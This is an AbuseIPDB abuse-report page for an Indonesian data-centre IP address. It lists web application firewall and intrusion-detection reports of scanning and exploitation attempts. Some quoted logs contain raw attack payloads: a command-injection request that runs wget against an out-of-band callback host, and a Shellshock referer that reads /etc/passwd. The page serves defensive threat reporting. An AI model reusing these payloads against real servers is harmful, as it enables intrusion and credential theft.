JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 103.146.203.84

103.146.203.84 was found in our database!

This IP was reported 24 times. Confidence of Abuse is 0%: ?

ISP	PT Cloud Hosting Indonesia
Usage Type	Data Center/Web Hosting/Transit
ASN	AS136052
Domain Name	cloudhost.web.id
Country	🇮🇩 Indonesia
City	Jakarta, Jakarta

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 103.146.203.84

Whois 103.146.203.84

IP Abuse Reports for 103.146.203.84:

This IP address has been reported a total of 24 times from 5 distinct sources. 103.146.203.84 was first reported on July 16th 2025, and the most recent report was 11 months ago.

Old Reports: The most recent abuse report for this IP address is from 11 months ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇺🇸 zorrigas	2025-09-17 08:15:06 (11 months ago)	(mod_security) mod_security (id:221260) triggered by 103.146.203.84 (ID/Indonesia/-): 5 in the last ... show more (mod_security) mod_security (id:221260) triggered by 103.146.203.84 (ID/Indonesia/-): 5 in the last 3600 secs show less	Brute-Force
🇮🇩 BPS-StatisticsIndonesia	2025-07-30 13:41:14 (1 year ago)	WP Login Scan Activities	Web App Attack
🇮🇩 hermawan	2025-07-22 23:40:45 (1 year ago)	[Wed Jul 23 06:40:32.162209 2025] [security2:error] [pid 9526:tid 139897380697792] [client 103.146.2 ... show more [Wed Jul 23 06:40:32.162209 2025] [security2:error] [pid 9526:tid 139897380697792] [client 103.146.203.84:31375] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "yii" at REQUEST_FILENAME. [file "/etc/modsecurity/coreruleset-4.16.0/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "69"] [id "448101"] [msg "BAD REQUEST FILENAME - Detected and Blocked"] [data "Matched Data: yii found within REQUEST_FILENAME: /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php request_line = GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1"] [severity "NOTICE"] [hostname "staklim-jatim.bmkg.go.id"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aIAhcFsPxoW80Rrc-Rk9fAAAAIA"] [staklim-jatim.bmkg.go.id] [staklim-jatim.bmkg.go.id] top=[9553] [USQ3Hk3tw8o] [aIAhcFsPxoW80Rrc-Rk9fAAAAIA] keep_alive=[0] [2025-07-23 06:40:32.162214] [R:aIAhcFsPxoW80Rrc-Rk9fAAAAIA] UA:'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chro ... show less	Hacking Web App Attack
🇮🇩 hermawan	2025-07-22 16:47:14 (1 year ago)	[Tue Jul 22 23:46:29.337477 2025] [security2:error] [pid 645072:tid 140125723948736] [client 103.146 ... show more [Tue Jul 22 23:46:29.337477 2025] [security2:error] [pid 645072:tid 140125723948736] [client 103.146.203.84:24289] ModSecurity: Access denied with code 403 (phase 1). Match of "pm matomo.staklim-malang.info " against "SERVER_NAME" required. [file "/etc/modsecurity/coreruleset-4.16.0/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "164"] [id "440235"] [msg "BAD REQUEST Bro"] [data " Matched Data ARGS charset: - Matched Data TX.1: found within Content-Type multipart form Matched Data: host found within SERVER_NAME: staklim-jatim.bmkg.go.id request_line = GET /Collector/storagemgmt/apply?data%5B0%5D%5Bhost%5D=%60/bin/wget+http://d1tpkmemod9iob7spjfg77dsyhtdq3e5a.oast.online%60&data%5B0%5D%5Bpath%5D=mypath&data%5B0%5D%5Btype%5D=mytype HTTP/1.1 Request URI RAW = /Collector/storagemgmt/apply?data%5B0%5D%5Bhost%5D=%60/bin/wget+http://d1tpkmemod9iob7spjfg77dsyhtdq3e5a.oast.online%60&dat..."] [hostname "staklim-jatim.bmkg.go.id"] [uri "/Collector/storagemgmt/apply"] [unique_id "aH_AZWJJo- ... show less	Hacking Web App Attack
🇮🇩 BPS-StatisticsIndonesia	2025-07-22 15:37:14 (1 year ago)	WP Admin Scan Activities	Web App Attack
🇮🇩 BPS-StatisticsIndonesia	2025-07-21 23:12:06 (1 year ago)	TinyMCE Scan Activities	Web App Attack
🇮🇩 penjaga BRIN	2025-07-21 16:37:04 (1 year ago)	Citrix SD-WAN Center Directory Traversal File Write Vulnerability(56030)	Web App Attack
🇮🇩 penjaga BRIN	2025-07-20 17:05:05 (1 year ago)	Apache Struts2 Redirect/Action Method Remote Code Execution Vulnerability(56944)	Web App Attack
🇮🇩 penjaga BRIN	2025-07-20 16:48:47 (1 year ago)	HTTP Directory Traversal Request Attempt(30844)	Web App Attack
🇮🇩 penjaga BRIN	2025-07-20 16:28:23 (1 year ago)	Bash Remote Code Execution Vulnerability(36729)	Web App Attack
🇮🇩 hermawan	2025-07-20 15:05:55 (1 year ago)	[Sun Jul 20 22:04:51.546513 2025] [security2:error] [pid 27778:tid 140080467396288] [client 103.146. ... show more [Sun Jul 20 22:04:51.546513 2025] [security2:error] [pid 27778:tid 140080467396288] [client 103.146.203.84:12685] ModSecurity: Access denied with code 403 (phase 1). Match of "ipMatch 103.166.156.58" against "REMOTE_ADDR" required. [file "/etc/modsecurity/coreruleset-4.16.0/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "372"] [id "440006"] [msg "Connection Close Header"] [data " Matched Data ARGS charset: - Matched Data TX.1: found within Content-Type multipart form Matched Data: close found within REMOTE_ADDR: 103.146.203.84 request_line = GET / HTTP/1.1 Request URI RAW = / Request Basename = "] [hostname "staklim-jatim.bmkg.go.id"] [uri "/"] [unique_id "aH0Fk1FQTvj4gUS-83qOvgAAAJE"] [staklim-jatim.bmkg.go.id] [staklim-jatim.bmkg.go.id] top=[27848] [dfxOrl0OTHE] [aH0Fk1FQTvj4gUS-83qOvgAAAJE] keep_alive=[0] [2025-07-20 22:04:51.546517] [R:aH0Fk1FQTvj4gUS-83qOvgAAAJE] UA:'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari ... show less	Hacking Web App Attack
🇮🇩 hermawan	2025-07-20 08:04:22 (1 year ago)	[Sun Jul 20 15:02:05.232351 2025] [security2:error] [pid 48386:tid 140552061212352] [client 103.146. ... show more [Sun Jul 20 15:02:05.232351 2025] [security2:error] [pid 48386:tid 140552061212352] [client 103.146.203.84:2089] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/cgi-bin" at REQUEST_FILENAME. [file "/etc/modsecurity/coreruleset-4.16.0/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "69"] [id "448101"] [msg "BAD REQUEST FILENAME - Detected and Blocked"] [data "Matched Data: /cgi-bin found within REQUEST_FILENAME: /cgi-bin/test request_line = GET /cgi-bin/test HTTP/1.1"] [severity "NOTICE"] [hostname "staklim-jatim.bmkg.go.id"] [uri "/cgi-bin/test"] [unique_id "aHyifY7uAGb9uAfFO02lXwAAAAA"], referer () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd [staklim-jatim.bmkg.go.id] [staklim-jatim.bmkg.go.id] top=[48413] [VUthxpeZC/c] [aHyifY7uAGb9uAfFO02lXwAAAAA] keep_alive=[0] [2025-07-20 15:02:05.232355] [R:aHyifY7uAGb9uAfFO02lXwAAAAA] UA:'Mozilla/5.0 (ZZ; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0' Host:'staklim-jatim.bmkg.go.id' COO ... show less	Hacking Web App Attack
🇮🇩 hermawan	2025-07-20 02:48:54 (1 year ago)	[Sun Jul 20 09:45:55.205731 2025] [security2:error] [pid 794559:tid 139892973622976] [client 103.146 ... show more [Sun Jul 20 09:45:55.205731 2025] [security2:error] [pid 794559:tid 139892973622976] [client 103.146.203.84:9209] ModSecurity: Access denied with code 403 (phase 1). Match of "ipMatch 103.166.156.58" against "REMOTE_ADDR" required. [file "/etc/modsecurity/coreruleset-4.16.0/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "372"] [id "440006"] [msg "Connection Close Header"] [data " Matched Data ARGS charset: - Matched Data TX.1: found within Content-Type multipart form Matched Data: close found within REMOTE_ADDR: 103.146.203.84 request_line = POST / HTTP/1.1 Request URI RAW = / Request Basename = "] [hostname "staklim-jatim.bmkg.go.id"] [uri "/"] [unique_id "aHxYY25FKEFmm2li0vvbrQAAAAs"] [staklim-jatim.bmkg.go.id] [staklim-jatim.bmkg.go.id] top=[794644] [dZCtW9NRac0] [aHxYY25FKEFmm2li0vvbrQAAAAs] keep_alive=[0] [2025-07-20 09:45:55.205739] [R:aHxYY25FKEFmm2li0vvbrQAAAAs] UA:'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safar ... show less	Hacking Web App Attack
🇮🇩 penjaga BRIN	2025-07-19 21:16:32 (1 year ago)	Shellshock attack attempt-112	Web App Attack
🇮🇩 penjaga BRIN	2025-07-19 20:22:19 (1 year ago)	Shellshock attack attempt-158	Web App Attack

Showing 1 to 15 of 24 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇺🇸 190.92.148.221

🇸🇰 185.188.239.28

🇦🇲 217.76.10.206

🇺🇸 192.101.68.88

🇨🇳 183.66.166.30

🇦🇷 181.228.80.171

🇿🇦 102.223.59.150

🇮🇱 82.102.158.36

🇵🇱 57.128.223.80

🇩🇪 47.245.141.91

🇧🇷 45.205.1.243

🇨🇭 193.32.127.200

🇦🇷 186.129.179.183

🇧🇷 177.44.71.12

🇨🇳 129.211.174.141

🇳🇴 87.120.104.79

🇹🇷 85.107.69.169

🇺🇸 65.49.20.67

🇧🇷 45.238.2.40

🇳🇱 45.148.10.141